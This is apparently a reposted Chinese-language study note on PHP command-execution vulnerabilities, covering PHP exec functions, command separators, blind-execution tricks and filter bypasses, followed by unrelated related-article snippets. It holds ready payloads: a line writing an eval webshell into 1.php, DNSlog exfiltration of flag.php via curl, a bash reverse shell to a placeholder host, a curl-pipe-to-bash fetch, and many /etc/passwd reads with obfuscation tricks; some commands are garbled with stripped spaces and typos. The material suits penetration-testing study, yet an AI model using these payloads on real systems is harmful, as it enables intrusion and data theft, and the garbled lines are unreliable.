PHP 命令执行漏洞学习记录

PHP 命令执行

命令函数

作用

例子

system()

执行外部程序,并且显示输出

system('whoami')

exec()

执行一个外部程序

echo exec('whoami');

shell_exec()

通过shell环境执行命令,并且将完整的输出以字符串的形式返回

echo shell_exec('whoami');

passthru()

执行外部程序并且显示数据原始输出

passthru('whoami');

pcntl_exec()

在当前进程空间执行指定程序 不能在非unix平台

pcntl_exec("/bin/cat",array("/etc/passwd));

popen()

打开进程文件指针

$a=popen("bin/cat,/etc/passwd","r");$b=fread($a,2096);echo $b;pclose($a);

proc_open()

执行一个命令,并打开一个io文件指针.类似popen(),但更复杂.

ob_start()

打开内部缓冲 输出内部缓存ob_end_flush()

<?php ob_start("system"); echo "whoami"; ob_end_flush();?>

反引号``

echo `whoami`

命令执行常用命令

命令目的

linux

windows

当前用户名

whoami

whoami

操作系统

uname -a

ver

网络配置

ifconfig

ipconfig /all

网络连接

netstat -an

netstat -an

运行进程

ps -ef

tesklist

命令分隔符号linux ;可以用 |或 ||代替

;前面的执行完执行后面的

|是管道符,显示后面的执行结果

||当前面的执行出差时执行后面的

可以用**%0a和\n**换行执行命令

windows 不能用;可以用&,&&,|,||代替

&前面的语句为假则直接执行后面的

&&前面的语句为假则直接出错,后面的也不执行

|直接执行后面的语句

||前面的出错执行后面的

常用命令执行函数解析

1.system

system('whoami')
php会操纵计算机执行whoami的命令,且输出返回结果
目标:机器如果是linux执行的是bash命令|如果是windows执行的是cmd命令.
echp"<?php @eval($_REQUEST[8]);?>">1.php
tisp:echo"输入内容">1.php是指把内容写入1.php尖括号对于echo来说是关键词,所以用双引号括起来
得到的结果:
成功写入文件,但是写入的文件有""包围了起来那么是不是就代表是字符串不能用了
这里是<?php?>内的被""包围才会有影响所以说外面的双引号并不会影响到正常执行

2.echo exec

只会执行,如果有输出 显示结果的最后一行内容

3.echo shell_exec

只会执行,如果有输出 显示获得的所有数据

4.``[反引号]

shell_exec 特殊写法 禁用shell_exec就不可使用shell_exec

5.passthru

执行命令返回结果且输出跟system没有什么区别

6.popen(要执行的命令,参数) //r是只读 w是写入

$a =popen('whoami','r');
echofread($a,1024);
这个指的返回值比较特殊,返回的是一个文件指针,需要用fread去读取返回值长度 第二个指定输出多少个字符.

命令执行无回显利用技巧

1.延时

可以使用注入的命令来触发时间延迟,从而根据应用程序相应来确认命令是否执行
windows:echo1&ping-n10127.0.0.1&echo2
会ping检测10次产生延时

2.重定向输出

我们可以将注入命令的输出重定向到web根目录下的文件当中,然后使用浏览器进行检索.如果他会在localhost提供静态资源
绝对路径
cmd >file 输出重定向到file文件
cmd>file 输出追加到file中,无则创建
windows whoami >F:/PHPSTUDY/WWW/phpstudent/lynn.txt
可以将我们的命令执行后的结果输出到指定目录文件当中

3.DNSlog外带linux

利用域名解析请求,dnslog.cn
例如8qcijo.dnslog.cn那么因为dnslog使用了泛解析会将所有只要有8qcijo.dnslog.cn的xxx.8qcijo.dnslog.cn
curl`cat<flag.php|base64`.awa4xw.ceye.io

4.反弹shell

1.首先在服务器用nc监听端口
nc-lvp4444
2.如何在服务器上开启web访问(8000端口),写入一个文件(1.txt)内容如
bash-i&/dev/tcp/x.x.x.x/44440>&1
3.执行payload
?cmd=curl x.x.x.x:8000/1.txt|bash

python一行代码实现简易http服务器
python-m SimpleHTTPServer

命令执行定位文件

dir /s/b "文件内容"文件名称

图片

findstr /s "文件内容"文件名称

图片

命令执行绕过

1.拼接 linux

a=ca;b=t;c=1;$a$b $c.txt
设置变量
a=ca b=t c=1拼接执行 约等于cat 1.txt

2.base64编码linux

`echo "Y2F0IDEudHh0"|base64 -d`

echo"Y2F0IDEudHh0"|base64-d|bash
先将这串字符串base64解码然后bash执行命令

3.单引号,双引号linux

ca""t1''.txt
在linux里面单双引号不会影响命令执行

4.反斜杠 linux

c\at 1.t\xt
同上一样的效果

5.可变扩展绕过linux

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm} == /etc/passwd
cat ${test//hh??hm/} == /etc/passwd

6.用通配符绕过windows

powershell C:\*\*2\n??e*d.*?|notepad

7.shell特殊变量

ca$@t 1$1.txt==cat 1.txt
c@$a$@t@$ 1$1.@$t@$x@$t

长度限制绕过

通过构造文件来绕过
linux下可以用
1>a 创建文件名为a的空文件
ls-t>test 则会将目录按时间排序后写进test文件中
sh可以从一个文件中读取命令来执行 例如一个文件里面写了 echo1那么着急sh文件名 即可输出1

空格绕过

1.cat</etc/passwd利用<指定命令可不使用空格

2.{cat,/etc/passwd}利用{}包裹代码用,当作分隔符去查看

3.cat$IFS/etc/passwd利用$IFS代替空格

4.echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd利用${IFS}当作空格使用&&(连接符)

windows平台

ping%CommonProgramFiles:~10,-18%IP地址|利用%CommonProgramFiles:~10,-18%

ping%PROGRAMFILES:~10,-5%IP地址|利用%PROGRAMFILES:~10,-5%

引号逃逸

当而已命令背括在引号内时,可以用\转义引号逃逸

不带反斜杠和斜杠的命令执行

echo ${HOME:0:1}|${HOME:0:1}代替/
例如:
cat ${HOME:0:1}etc${HOME:0:1}passwd

echo.|tr '!-0''"-1'=/
例如:
cat$(echo.|tr '!-0''"-1')etc$(echo.|tr '!-0''"-1')passwd

命令执行waf绕过

windows

1.符号于命令的关系

"和^还有成对的圆括号()符号并不会影响命令执行,在windows环境下,命令不会区分大小写

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/63237.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VSCode GDB远程嵌入开发板调试

VSCode GDB远程嵌入式开发板调试 一、原理 嵌入式系统中一般在 PC端运行 gdb工具&#xff0c;源码也是在 PC端&#xff0c;源码对应的可执行文件放到开发板中运行。为此我们需要在开发板中运行 gdbserver&#xff0c;通过网络与 PC端的 gdb进行通信。因此要想在 PC上通过 gdb…

专业140+总分420+上海交通大学819考研经验上交电子信息与通信工程,真题,大纲,参考书。博睿泽信息通信考研论坛,信息通信考研Jenny

考研结束&#xff0c;专业819信号系统与信号处理140&#xff0c;总分420&#xff0c;终于梦圆交大&#xff0c;高考时敢都不敢想目标&#xff0c;现在已经成为现实&#xff0c;考研后劲很大&#xff0c;这一年的复习经历&#xff0c;还是历历在目&#xff0c;整理一下&#xff…

【NLP修炼系列之Bert】Bert多分类多标签文本分类实战(附源码下载)

引言 今天我们就要用Bert做项目实战&#xff0c;实现文本多分类任务和我在实际公司业务中的多标签文本分类任务。通过本篇文章&#xff0c;可以让想实际入手Bert的NLP学习者迅速上手Bert实战项目。 1 项目介绍 本文是Bert文本多分类和多标签文本分类实战&#xff0c;其中多分…

[Redis#17] 主从复制 | 拓扑结构 | 复制原理 | 数据同步 | psync

目录 主从模式 主从复制作用 建立主从复制 主节点信息 从节点信息 断开主从复制关系 主从拓扑结构 主从复制原理 1. 复制过程 2. 数据同步&#xff08;PSYNC&#xff09; 3. 三种复制方式 一、全量复制 二、部分复制 三、实时复制 四、主从复制模式存在的问题 在…

【青牛科技】拥有两个独立的、高增益、内部相位补偿的双运算放大器,可适用于单电源或双电源工作——D4558

概述&#xff1a; D4558内部包括有两个独立的、高增益、内部相位补偿的双运算放大器&#xff0c;可适用于单电源或双电源工作。该电路具有电压增益高、噪声低等特点。主要应用于音频信号放大&#xff0c;有源滤波器等场合。 D4558采用DIP8、SOP8的封装形式 主要特点&#xff…

泰坦军团品牌焕新:LOGO变更开启电竞细分市场新篇章

深圳世纪创新显示电子有限公司旗下的高端电竞显示器品牌泰坦军团&#xff0c;上月发布通告&#xff0c;自2024年6月起已陆续进行品牌升级和LOGO变更。 泰坦军团自2015年成立以来&#xff0c;凭借先进的技术和顶级的工业设计&#xff0c;已成为众多年轻人首选的游戏显示器品牌&…

HALCON 算子 之 阈值分割算子

文章目录 什么是阈值分割&#xff1f;为什么要阈值分割&#xff1f;如何进行阈值分割&#xff1f;全局threshold —— 全局固定阈值分割auto_threshold —— 全局自动阈值分割fast_threshold —— 快速全局阈值分割watersheds_threshold —— 分水岭盆地阈值分割 局部dyn_thres…

【代码随想录|贪心算法重叠区间问题】

452.用最少数量的箭引爆气球 题目链接452. 用最少数量的箭引爆气球 - 力扣&#xff08;LeetCode&#xff09; 这道题是要求从下往上穿箭&#xff0c;把所有气球扎爆要的最少箭的数量 思路就是我们比较这个气球和上一个气球有没有重合的&#xff0c;重合我们一根箭一起就射了…

在商业智能BI系统中,如何配置高级感的数据可视化折线图?

在数据可视化的世界里&#xff0c;折线图作为一种直观且有效的数据展示方式&#xff0c;被广泛应用于各类数据分析与报告中。折线图不仅能够清晰地展示数据随时间或其他连续变量的变化趋势&#xff0c;还能通过不同的样式配置&#xff0c;增强图表的可读性和美观度。在JVS-智能…

容器镜像仓库

文章目录 1、docker hub1_注册2_登录3_创建容器镜像仓库4_在本地登录Docker Hub5_上传容器镜像6_下载容器镜像 2、harbor1_获取 docker compose二进制文件2_获取harbor安装文件3_获取TLS文件4_修改配置文件5_执行预备脚本6_执行安装脚本7_验证运行情况8_访问harborUI界面9_harb…

网站打开速度测试工具:互联网优化的得力助手

在信息飞速流转的互联网时代&#xff0c;网站如同企业与用户对话的窗口&#xff0c;其打开速度直接关乎用户体验&#xff0c;乃至业务的成败。所幸&#xff0c;一系列专业的网站打开速度测试工具应运而生&#xff0c;它们宛如幕后的技术侦探&#xff0c;精准剖析网站性能&#…

liunx docker 部署 nacos seata sentinel

部署nacos 1.按要求创建好数据库 2.创建docker 容器 docker run -d --name nacos-server -p 8848:8848 -e MODEstandalone -e SPRING_DATASOURCE_PLATFORMmysql -e MYSQL_SERVICE_HOST172.17.251.166 -e MYSQL_SERVICE_DB_NAMEry-config -e MYSQL_SERVICE_PORT3306 -e MYSQL…

爬虫项目基础知识详解

文章目录 Python爬虫项目基础知识一、爬虫与数据分析1.1 Python中的requests库Requests 库的安装Requests 库的 get() 方法爬取网页的通用代码框架HTTP 协议及 Requests 库方法Requests 库主要方法解析 1.2 python中的json库1.3 xpath学习之python中lxml库html了解html结构html…

结构型-组合模式(Composite Pattern)

什么是组合模式 又名部分整体模式&#xff0c;是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象&#xff0c;用来表示部分以及整体层次。这种类型的设计模式属于结构型模式&#xff0c;它创建了对象组的树形结构。 结构 抽象根节点&#xff08;Co…

Wordpress设置固定链接形式后出现404错误

比如固定连接设置为 /archives/%post_id%.html 这种形式&#xff0c;看起来比较舒服。对搜索引擎也友好。 出现404需要设置伪静态

小程序项目的基本组成结构

分类介绍 项目根目录下的文件及文件夹 pages文件夹 用来存放所有小程序的页面&#xff0c;其中每个页面都由4个基本文件组成&#xff0c;它们分别是&#xff1a; .js文件&#xff1a;页面的脚本文件&#xff0c;用于存放页面的数据、事件处理函数等 .json文件&#xff1a;…

Agent AI: Surveying the Horizons of Multimodal Interaction---摘要、引言、代理 AI 集成

题目 智能体AI:多模态交互视野的考察 论文地址&#xff1a;https://arxiv.org/abs/2401.03568 图1&#xff1a;可以在不同领域和应用程序中感知和行动的Agent AI系统概述。Agent AI是正在成为通用人工智能&#xff08;AGI&#xff09;的一个有前途的途径。Agent AI培训已经证…

LRU Cache替换算法

目录 1.什么是LRU Cache&#xff1f; 2.LRU Cache 的底层结构 3.LRU Cache的实现 LRUCache类中的接口总览 构造函数 get操作 put操作 打印 4.LRU Cache的测试 5.LRU Cache相关OJ题 6.LRU Cache类代码附录 1.什么是LRU Cache&#xff1f; 首先我想解释一下什么是cach…

数字孪生与大型模型强强联合,共塑工业制造崭新前景

随着新一代信息技术与实体经济的加速融合&#xff0c;工业领域的数字化、智能化转型趋势愈发显著&#xff0c;孕育出一系列制造业数字化转型的新模式与新业态。在此背景下&#xff0c;数字孪生技术作为关键支撑力量&#xff0c;正在全球范围内迅速崛起并得到广泛应用&#xff0…

【笔记2-5】ESP32:freertos消息队列

主要参考b站宸芯IOT老师的视频&#xff0c;记录自己的笔记&#xff0c;老师讲的主要是linux环境&#xff0c;但配置过程实在太多问题&#xff0c;就直接用windows环境了&#xff0c;老师也有讲一些windows的操作&#xff0c;只要代码会写&#xff0c;操作都还好&#xff0c;开发…